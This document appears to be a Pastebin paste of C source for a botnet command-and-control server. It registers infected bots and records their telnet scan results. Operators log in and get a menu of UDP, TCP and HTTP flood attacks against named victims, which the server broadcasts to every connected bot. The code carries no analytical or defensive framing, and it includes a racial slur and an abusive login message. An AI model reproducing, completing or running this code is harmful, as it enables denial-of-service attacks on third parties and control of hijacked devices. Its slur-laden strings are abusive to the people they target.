Advertisement
Guest User

Untitled

a guest
May 19th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.82 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <inttypes.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #define MAXFDS 1000000
  18. //////////////////////////////////
  19. struct login_info {
  20.     char username[20];
  21.     char password[20];
  22. };
  23. static struct login_info accounts[22];
  24. struct clientdata_t {
  25.         uint32_t ip;
  26.         char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29.         int connected;
  30. } managements[MAXFDS];
  31. struct args {
  32.         int sock;
  33.         struct sockaddr_in cli_addr;
  34. };
  35. static volatile FILE *telFD;
  36. static volatile FILE *fileFD;
  37. static volatile int epollFD = 0;
  38. static volatile int listenFD = 0;
  39. static volatile int OperatorsConnected = 0;
  40. static volatile int TELFound = 0;
  41. static volatile int scannerreport;
  42. //////////////////////////////////
  43. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  44.     int total = 0, got = 1;
  45.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  46.     return got;
  47. }
  48. void trim(char *str) {
  49.     int i;
  50.     int begin = 0;
  51.     int end = strlen(str) - 1;
  52.     while (isspace(str[begin])) begin++;
  53.     while ((end >= begin) && isspace(str[end])) end--;
  54.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55.     str[i - begin] = '\0';
  56. }
  57. static int make_socket_non_blocking (int sfd) {
  58.     int flags, s;
  59.     flags = fcntl (sfd, F_GETFL, 0);
  60.     if (flags == -1) {
  61.         perror ("fcntl");
  62.         return -1;
  63.     }
  64.     flags |= O_NONBLOCK;
  65.     s = fcntl (sfd, F_SETFL, flags);
  66.     if (s == -1) {
  67.         perror ("fcntl");
  68.         return -1;
  69.     }
  70.     return 0;
  71. }
  72. static int create_and_bind (char *port) {
  73.     struct addrinfo hints;
  74.     struct addrinfo *result, *rp;
  75.     int s, sfd;
  76.     memset (&hints, 0, sizeof (struct addrinfo));
  77.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  78.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  79.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  80.     s = getaddrinfo (NULL, port, &hints, &result);
  81.     if (s != 0) {
  82.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  83.         return -1;
  84.     }
  85.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  86.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  87.         if (sfd == -1) continue;
  88.         int yes = 1;
  89.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  90.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  91.         if (s == 0) {
  92.             break;
  93.         }
  94.         close (sfd);
  95.     }
  96.     if (rp == NULL) {
  97.         fprintf (stderr, "Could not bind\n");
  98.         return -1;
  99.     }
  100.     freeaddrinfo (result);
  101.     return sfd;
  102. }
  103. void broadcast(char *msg, int us, char *sender)
  104. {
  105.         int sendMGM = 1;
  106.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  107.         char *wot = malloc(strlen(msg) + 10);
  108.         memset(wot, 0, strlen(msg) + 10);
  109.         strcpy(wot, msg);
  110.         trim(wot);
  111.         time_t rawtime;
  112.         struct tm * timeinfo;
  113.         time(&rawtime);
  114.         timeinfo = localtime(&rawtime);
  115.         char *timestamp = asctime(timeinfo);
  116.         trim(timestamp);
  117.         int i;
  118.         for(i = 0; i < MAXFDS; i++)
  119.         {
  120.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  121.                 if(sendMGM && managements[i].connected)
  122.                 {
  123.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  124.                         send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
  125.                         send(i, ": ", 2, MSG_NOSIGNAL);
  126.                 }
  127.                 printf("sent to fd: %d\n", i);
  128.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mType: ", 13, MSG_NOSIGNAL);
  130.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  131.         }
  132.         free(wot);
  133. }
  134. void *BotEventLoop(void *useless) {
  135.     struct epoll_event event;
  136.     struct epoll_event *events;
  137.     int s;
  138.     events = calloc (MAXFDS, sizeof event);
  139.     while (1) {
  140.         int n, i;
  141.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  142.         for (i = 0; i < n; i++) {
  143.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  144.                 clients[events[i].data.fd].connected = 0;
  145.                 close(events[i].data.fd);
  146.                 continue;
  147.             }
  148.             else if (listenFD == events[i].data.fd) {
  149.                while (1) {
  150.                 struct sockaddr in_addr;
  151.                 socklen_t in_len;
  152.                 int infd, ipIndex;
  153.  
  154.                 in_len = sizeof in_addr;
  155.                 infd = accept (listenFD, &in_addr, &in_len);
  156.                 if (infd == -1) {
  157.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  158.                     else {
  159.                         perror ("accept");
  160.                         break;
  161.                          }
  162.                 }
  163.  
  164.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  165.                 int dup = 0;
  166.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  167.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  168.                     if(clients[ipIndex].ip == clients[infd].ip) {
  169.                         dup = 1;
  170.                         break;
  171.                     }}
  172.                 if(dup) {
  173.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  174.                     close(infd);
  175.                     continue;
  176.                 }
  177.                 s = make_socket_non_blocking (infd);
  178.                 if (s == -1) { close(infd); break; }
  179.                 event.data.fd = infd;
  180.                 event.events = EPOLLIN | EPOLLET;
  181.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  182.                 if (s == -1) {
  183.                     perror ("epoll_ctl");
  184.                     close(infd);
  185.                     break;
  186.                 }
  187.                 clients[infd].connected = 1;
  188.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  189.             }
  190.             continue;
  191.         }
  192.         else {
  193.             int datafd = events[i].data.fd;
  194.             struct clientdata_t *client = &(clients[datafd]);
  195.             int done = 0;
  196.             client->connected = 1;
  197.             while (1) {
  198.                 ssize_t count;
  199.                 char buf[2048];
  200.                 memset(buf, 0, sizeof buf);
  201.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  202.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  203.                     trim(buf);
  204.                     if(strcmp(buf, "PING") == 0) {
  205.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  206.                         continue;
  207.                     }
  208.                     if(strstr(buf, "REPORT ") == buf) {
  209.                         char *line = strstr(buf, "REPORT ") + 7;
  210.                         fprintf(telFD, "%s\n", line);
  211.                         fflush(telFD);
  212.                         TELFound++;
  213.                         continue;
  214.                     }
  215.                     if(strstr(buf, "PROBING") == buf) {
  216.                         char *line = strstr(buf, "PROBING");
  217.                         scannerreport = 1;
  218.                         continue;
  219.                     }
  220.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  221.                         char *line = strstr(buf, "REMOVING PROBE");
  222.                         scannerreport = 0;
  223.                         continue;
  224.                     }
  225.                     if(strcmp(buf, "PONG") == 0) {
  226.                         continue;
  227.                     }
  228.                     printf("buf: \"%s\"\n", buf);
  229.                 }
  230.                 if (count == -1) {
  231.                     if (errno != EAGAIN) {
  232.                         done = 1;
  233.                     }
  234.                     break;
  235.                 }
  236.                 else if (count == 0) {
  237.                     done = 1;
  238.                     break;
  239.                 }
  240.             if (done) {
  241.                 client->connected = 0;
  242.                 close(datafd);
  243.                     }
  244.                 }
  245.             }
  246.         }
  247.     }
  248. }
  249. unsigned int BotsConnected() {
  250.     int i = 0, total = 0;
  251.     for(i = 0; i < MAXFDS; i++) {
  252.         if(!clients[i].connected) continue;
  253.         total++;
  254.     }
  255.     return total;
  256. }
  257. void *TitleWriter(void *sock) {
  258.     int datafd = (int)sock;
  259.     char string[2048];
  260.     while(1) {
  261.         memset(string, 0, 2048);
  262.         sprintf(string, "%c]0;Slaves Connected: 15092 | Masters Connected: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  263.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  264.         sleep(2);
  265. }}
  266. int Find_Login(char *str) {
  267.     FILE *fp;
  268.     int line_num = 0;
  269.     int find_result = 0, find_line=0;
  270.     char temp[512];
  271.  
  272.     if((fp = fopen("login.txt", "r")) == NULL){
  273.         return(-1);
  274.     }
  275.     while(fgets(temp, 512, fp) != NULL){
  276.         if((strstr(temp, str)) != NULL){
  277.             find_result++;
  278.             find_line = line_num;
  279.         }
  280.         line_num++;
  281.     }
  282.     if(fp)
  283.         fclose(fp);
  284.     if(find_result == 0)return 0;
  285.     return find_line;
  286. }
  287. void *BotWorker(void *sock) {
  288.     int datafd = (int)sock;
  289.     int find_line;
  290.     OperatorsConnected++;
  291.     pthread_t title;
  292.     char buf[2048];
  293.     char* username;
  294.     char* password;
  295.     memset(buf, 0, sizeof buf);
  296.     char botnet[2048];
  297.     memset(botnet, 0, 2048);
  298.  
  299.     FILE *fp;
  300.     int i=0;
  301.     int c;
  302.     fp=fopen("login.txt", "r");
  303.     while(!feof(fp)) {
  304.         c=fgetc(fp);
  305.         ++i;
  306.     }
  307.     int j=0;
  308.     rewind(fp);
  309.     while(j!=i-1) {
  310.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  311.         ++j;
  312.     }
  313.  
  314.         if(send(datafd, "\x1b[37mUsername: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  315.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  316.         trim(buf);
  317.         char* nickstring;
  318.         sprintf(accounts[find_line].username, buf);
  319.         nickstring = ("%s", buf);
  320.         find_line = Find_Login(nickstring);
  321.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  322.         if(send(datafd, "\x1b[37mPassword: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  323.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  324.         trim(buf);
  325.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  326.         memset(buf, 0, 2048);
  327.         goto Banner;
  328.         }
  329.         failed:
  330.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  331.         char failed_line1[80];
  332.  
  333.         sprintf(failed_line1, "\x1b[36mWRONG ANSWER BITCH!!\r\n");
  334.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  335.         sleep(5);
  336.         goto end;
  337.  
  338.         Banner:
  339.         pthread_create(&title, NULL, &TitleWriter, sock);
  340.         char ascii_banner_line1 [5000];
  341.         char ascii_banner_line2 [5000];
  342.         char ascii_banner_line3 [5000];
  343.         char ascii_banner_line4 [5000];
  344.         char ascii_banner_line5 [5000];
  345.         char ascii_banner_line6 [5000];
  346.         char ascii_banner_line7 [5000];
  347.         char ascii_banner_line8 [5000];
  348.         char ascii_banner_line9 [5000];
  349.         char welcome_line [80];
  350.         char banner_bot_count [2048];
  351.         memset(banner_bot_count, 0, 2048);
  352.        
  353.         sprintf(ascii_banner_line1, "\x1b[36m   **     **              **          \r\n");
  354.         sprintf(ascii_banner_line2, "\x1b[36m  /**    /**             //           \r\n");
  355.         sprintf(ascii_banner_line3, "\x1b[36m  /**    /**   *******    **   **   **\r\n");
  356.         sprintf(ascii_banner_line4, "\x1b[36m  /**    /*   //**///**  /**  //** ** \r\n");
  357.         sprintf(ascii_banner_line5, "\x1b[36m  /**    /**   /**  /**  /**   //***  \r\n");
  358.         sprintf(ascii_banner_line6, "\x1b[36m  /**    /**   /**  /**  /**    **/** \r\n");
  359.         sprintf(ascii_banner_line7, "\x1b[36m  //*******    ***  /**  /**   ** //**\r\n");
  360.         sprintf(ascii_banner_line8, "\x1b[36m   ///////    ///   //   //   //   // \r\n");
  361.         sprintf(ascii_banner_line9, "\r\n");   
  362.         sprintf(welcome_line,       "\x1b[37m        #\x1b[36m----- \x1b[37mSlaves: 15092\x1b[36m -----\x1b[37m#\r\n", BotsConnected(), OperatorsConnected);
  363.         sprintf(banner_bot_count,   "\r\n\x1b[37m    #\x1b[36m-------- \x1b[37mWelcome, %s\x1b[36m --------\x1b[37m#\r\n", accounts[find_line].username);
  364.  
  365.         if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  366.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  367.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  368.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  369.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  370.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  371.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  372.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  373.         if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  374.         if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  375.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  376.         while(1) {
  377.         if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  378.         if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  379.         break;
  380.         }
  381.         pthread_create(&title, NULL, &TitleWriter, sock);
  382.         managements[datafd].connected = 1;
  383.  
  384.         while(fdgets(buf, sizeof buf, datafd) > 0)
  385.         {
  386.             if(strstr(buf, "BOTS")) {
  387.                 char botcount [2048];
  388.                 memset(botcount, 0, 2048);
  389.                 sprintf(botcount, "[+] - Slaves: [\x1b[36m 15092 \x1b[37m] [+] - Masters: [\x1b[36m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  390.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  391.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  392.                 continue;
  393.             }
  394.             if(strstr(buf, "STATUS")){
  395.                 char statuscount [2048];
  396.                 memset(statuscount, 0, 2048);
  397.                 sprintf(statuscount, "[+] - Devices: [\x1b[36m 15092 \x1b[37m] [+] - Status: [\x1b[36m %d \x1b[37m]\r\n", TELFound, scannerreport);
  398.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  399.                                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  400.                 continue;
  401.             }
  402.             if(strstr(buf, "HELP")) {
  403.                 pthread_create(&title, NULL, &TitleWriter, sock);
  404.                 char helpline1  [80];
  405.                 char helpline2  [80];
  406.                 char helpline3  [80];
  407.                 char helpline4  [80];
  408.                 char helpline5  [80];
  409.                 char helpline6  [80];
  410.                 char helpline7  [80];
  411.                 char helpline9  [80];
  412.                 char helpline11 [80];
  413.                 char helpline12 [80];
  414.                 char helpline13 [80];
  415.                 char helpline14 [80];
  416.  
  417.                 sprintf(helpline1,  "   \r\n\x1b[37m#--- \x1b[36mCOMMANDS \x1b[37m---#\r\n\r\n");
  418.                 sprintf(helpline2,  "   \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n");
  419.                 sprintf(helpline3,  "   \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n");
  420.                 sprintf(helpline4,  "   \x1b[37m- HTTP - \x1b[36m!* HTTP Url Time\r\n");
  421.                 sprintf(helpline5,  "   \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
  422.                 sprintf(helpline7,  "   \x1b[37m- Kills Attack - \x1b[36mKILL\r\n");
  423.                 sprintf(helpline9,  "   \x1b[37m- Bot Count - \x1b[36mBOTS\r\n");
  424.                 sprintf(helpline11, "   \x1b[37m- Clear Screen - \x1b[36mCLEAR\r\n");
  425.                 sprintf(helpline12, "   \x1b[37m- LOGOUT - \x1b[36mLOGOUT\r\n");
  426.                 sprintf(helpline13, "   \x1b[37m- TOS - \x1b[36mTOS\r\n");
  427.                 sprintf(helpline14, "   \r\n");
  428.  
  429.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  430.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  431.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  432.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  433.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  434.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  435.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  436.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  437.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  438.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  439.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  440.                 if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  441.                 pthread_create(&title, NULL, &TitleWriter, sock);
  442.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  443.                 continue;
  444.             }
  445.                         if(strstr(buf, "ls")) {
  446.                 pthread_create(&title, NULL, &TitleWriter, sock);
  447.                 char ls1  [80];
  448.                 char ls2  [80];
  449.                 char ls3  [80];
  450.                 char ls4  [80];
  451.                 char ls5  [80];
  452.  
  453.                 sprintf(ls1,  "   \r\n\x1b[37m#--- \x1b[36mMETHODS \x1b[37m---#\r\n\r\n");
  454.                 sprintf(ls2,  "   \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n");
  455.                 sprintf(ls3,  "   \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n");
  456.                 sprintf(ls4,  "   \x1b[37m- HTTP - \x1b[36m!* HTTP Url Time\r\n");
  457.                 sprintf(ls5,  "   \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
  458.  
  459.                 if(send(datafd, ls1,  strlen(ls1),  MSG_NOSIGNAL) == -1) goto end;
  460.                 if(send(datafd, ls2,  strlen(ls2),  MSG_NOSIGNAL) == -1) goto end;
  461.                 if(send(datafd, ls3,  strlen(ls3),  MSG_NOSIGNAL) == -1) goto end;
  462.                 if(send(datafd, ls4,  strlen(ls4),  MSG_NOSIGNAL) == -1) goto end;
  463.                 if(send(datafd, ls5,  strlen(ls5),  MSG_NOSIGNAL) == -1) goto end;
  464.  
  465.                 pthread_create(&title, NULL, &TitleWriter, sock);
  466.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  467.                 continue;
  468.         }
  469.  
  470.             if(strstr(buf, "KILL")) {
  471.                 char killattack [2048];
  472.                 memset(killattack, 0, 2048);
  473.                 sprintf(killattack, "!* KILLATTK\r\n");
  474.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  475.                                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  476.                 continue;
  477.             }
  478.             if(strstr(buf, "CLEAR")) {
  479.                 char clearscreen [2048];
  480.                 memset(clearscreen, 0, 2048);
  481.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  482.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  483.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  484.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  485.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  486.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  487.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  488.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  489.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  490.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  491.                 while(1) {
  492.                 if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  493.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  494.                 break;
  495.                 }
  496.                 continue;
  497.             }
  498.             if(strstr(buf, "TOS")) {
  499.                 pthread_create(&title, NULL, &TitleWriter, sock);
  500.                 char tos1  [80];
  501.                 sprintf(tos1,  "\r\n\x1b[36mTOS: \x1b[37mhttp://pastebin.com/HGHUJLE8\r\n\r\n");
  502.  
  503.                 if(send(datafd, tos1,  strlen(tos1),    MSG_NOSIGNAL) == -1) goto end;
  504.                 pthread_create(&title, NULL, &TitleWriter, sock);
  505.                 if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  506.                 continue;
  507.  
  508.             }
  509.                
  510.             if(strstr(buf, "LOGOUT")) {
  511.                 char logoutmessage [2048];
  512.                 memset(logoutmessage, 0, 2048);
  513.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  514.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  515.                 sleep(5);
  516.                 goto end;
  517.             }
  518.                 trim(buf);
  519.                 if(send(datafd, "\x1b[37mType: ", 11, MSG_NOSIGNAL) == -1) goto end;
  520.                 if(strlen(buf) == 0) continue;
  521.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  522.  
  523.                 FILE *LogFile;
  524.                 LogFile = fopen("server.log", "a");
  525.                 time_t now;
  526.                 struct tm *gmt;
  527.                 char formatted_gmt [50];
  528.                 char lcltime[50];
  529.                 now = time(NULL);
  530.                 gmt = gmtime(&now);
  531.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  532.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  533.                 fclose(LogFile);
  534.                 broadcast(buf, datafd, accounts[find_line].username);
  535.                 memset(buf, 0, 2048);
  536.         }
  537.         end:
  538.             managements[datafd].connected = 0;
  539.             close(datafd);
  540.             OperatorsConnected--;
  541. }
  542. void *BotListener(int port) {
  543.     int sockfd, newsockfd;
  544.     socklen_t clilen;
  545.     struct sockaddr_in serv_addr, cli_addr;
  546.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  547.     if (sockfd < 0) perror("ERROR opening socket");
  548.     bzero((char *) &serv_addr, sizeof(serv_addr));
  549.     serv_addr.sin_family = AF_INET;
  550.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  551.     serv_addr.sin_port = htons(port);
  552.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  553.     listen(sockfd,5);
  554.     clilen = sizeof(cli_addr);
  555.     while(1) {
  556.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  557.         if (newsockfd < 0) perror("ERROR on accept");
  558.         pthread_t thread;
  559.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  560. }}
  561. int main (int argc, char *argv[], void *sock)
  562. {
  563.         signal(SIGPIPE, SIG_IGN);
  564.         int s, threads, port;
  565.         struct epoll_event event;
  566.         if (argc != 4) {
  567.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  568.             exit (EXIT_FAILURE);
  569.         }
  570.         port = atoi(argv[3]);
  571.         telFD = fopen("telnet.txt", "a+");
  572.         threads = atoi(argv[2]);
  573.         listenFD = create_and_bind (argv[1]);
  574.         if (listenFD == -1) abort ();
  575.         s = make_socket_non_blocking (listenFD);
  576.         if (s == -1) abort ();
  577.         s = listen (listenFD, SOMAXCONN);
  578.         if (s == -1) {
  579.             perror ("listen");
  580.             abort ();
  581.         }
  582.         epollFD = epoll_create1 (0);
  583.         if (epollFD == -1) {
  584.             perror ("epoll_create");
  585.             abort ();
  586.         }
  587.         event.data.fd = listenFD;
  588.         event.events = EPOLLIN | EPOLLET;
  589.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  590.         if (s == -1) {
  591.             perror ("epoll_ctl");
  592.             abort ();
  593.         }
  594.         pthread_t thread[threads + 2];
  595.         while(threads--) {
  596.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  597.         }
  598.         pthread_create(&thread[0], NULL, &BotListener, port);
  599.         while(1) {
  600.             broadcast("PING", -1, "NIGGER");
  601.             sleep(60);
  602.         }
  603.         close (listenFD);
  604.         return EXIT_SUCCESS;
  605. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement